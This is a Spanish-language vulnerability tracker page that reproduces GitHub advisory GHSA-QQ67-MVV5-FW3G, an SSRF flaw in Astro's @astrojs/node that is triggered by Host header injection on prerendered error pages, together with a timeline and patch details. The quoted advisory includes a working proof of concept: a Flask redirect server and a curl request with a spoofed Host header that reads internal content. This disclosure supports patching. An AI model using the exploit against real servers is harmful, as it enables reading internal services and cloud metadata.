llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · @astrojs/node

GHSA-QQ67-MVV5-FW3G

Astro has Full-Read SSRF in error rendering via Host: header injection

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -5 d de la divulgación
Exposición269 dDesde la divulgación, 23 feb 2026, 4:54 p. m.
Detección266 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 9.5.4
Monitoreo
Detectada
18 feb 26
23 feb 26
30 mar 26
17 nov 26
20 nov 26
18 feb 26
28 abr 26
6 jul 26
12 sept 26
20 nov 26
FechaFaseEventoDetalle
Remediación Parche 9.5.4 @astrojs/node · -5 d desde divulgación
Divulgación Publicada GHSA-QQ67-MVV5-FW3G divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

Server-Side Rendered pages that return an error with a prerendered custom error page (eg. `404.astro` or `500.astro`) are vulnerable to SSRF. If the `Host:` header is changed to an attacker's server, it will be fetched on `/500.html` and they can redirect this to any internal URL to read the response body through the first request.

Details

The following line of code fetches `statusURL` and returns the response back to the client:

https://github.com/withastro/astro/blob/bf0b4bfc7439ddc565f61a62037880e4e701eb05/packages/astro/src/core/app/base.ts#L534

`statusURL` comes from `this.baseWithoutTrailingSlash`, which is built from the `Host:` header https://github.com/withastro/astro/blob/e5e3208ee5041ad9cccd479c29a34bf6183a6505/packages/astro/src/core/app/node.ts#L81. `prerenderedErrorPageFetch()` is just `fetch()`, and follows redirects. This makes it possible for an attacker to set the `Host:` header to their server (eg. `Host: attacker.tld`), and if the server still receives the request without normalization, Astro will now fetch `http://attacker.tld/500.html`.

The attacker can then redirect this request to http://localhost:8000/ssrf.txt, for example, to fetch any locally listening service. The response code is not checked, because as the comment in the code explains, this fetch may give a 200 OK. The body and headers are returned back to the attacker.

Looking at the vulnerable code, the way to reach this is if the `renderError()` function is called (error response during SSR) and the error page is prerendered (custom `500.astro` error page). The PoC below shows how a basic project with these requirements can be set up.

Note: Another common vulnerable pattern for `404.astro` we saw is:

return new Response(null, {status: 404});

Also, it does not matter what `allowedDomains` is set to, since it only checks the `X-Forwarded-Host:` header.

https://github.com/withastro/astro/blob/9e16d63cdd2537c406e50d005b389ac115755e8e/packages/astro/src/core/app/base.ts#L146

PoC
  1. Create a new empty project
npm create astro@latest poc -- --template minimal --install --no-git --yes
  1. Create `poc/src/pages/error.astro` which throws an error with SSR:
---
export const prerender = false;

throw new Error("Test")
---
  1. Create `poc/src/pages/500.astro` with any content like:
<p>500 Internal Server Error</p>
  1. Build and run the app
cd poc
npx astro add node --yes
npm run build && npm run preview
  1. Set up an "internal server" which we will SSRF to. Create a file called `ssrf.txt` and host it locally on http://localhost:8000:
cd $(mktemp -d)
echo "SECRET CONTENT" > ssrf.txt
python3 -m http.server
  1. Set up attacker's server with exploit code and run it, so that its server becomes available on http://localhost:5000:
# pip install Flask
from flask import Flask, redirect

app = Flask(__name__)

@app.route("/500.html")
def exploit():
    return redirect("http://127.0.0.1:8000/ssrf.txt")

if __name__ == "__main__":
    app.run()
  1. Send the following request to the server, and notice the 500 error returns "SECRET CONTENT".
$ curl -i http://localhost:4321/error -H 'Host: localhost:5000'
HTTP/1.1 500 OK
content-type: text/plain
date: Tue, 03 Feb 2026 09:51:28 GMT
last-modified: Tue, 03 Feb 2026 09:51:09 GMT
server: SimpleHTTP/0.6 Python/3.12.3
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

SECRET CONTENT
Impact

An attacker who can access the application without `Host:` header validation (eg. through finding the origin IP behind a proxy, or just by default) can fetch their own server to redirect to any internal IP. With this they can fetch cloud metadata IPs and interact with services in the internal network or localhost.

For this to be vulnerable, a common feature https://docs.astro.build/en/basics/astro-pages/#custom-500-error-page needs to be used, with direct access to the server (no proxies).

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
@astrojs/node< 9.5.4
9.5.4
11.1.13
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@astrojs/node
Corregida 9.5.4 -5 d 11.1.13 no afectada
Versiones corregidas9.5.4
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-25545
Otrahttps://github.com/withastro/astro/security/advisories/GHSA-qq67-mvv5-fw3g
Otrahttps://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9
Otrahttps://docs.astro.build/en/basics/astro-pages/#custom-500-error-page
Otrahttps://github.com/withastro/astro
Otrahttps://github.com/withastro/astro/releases/tag/%40astrojs%2Fnode%409.5.4

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.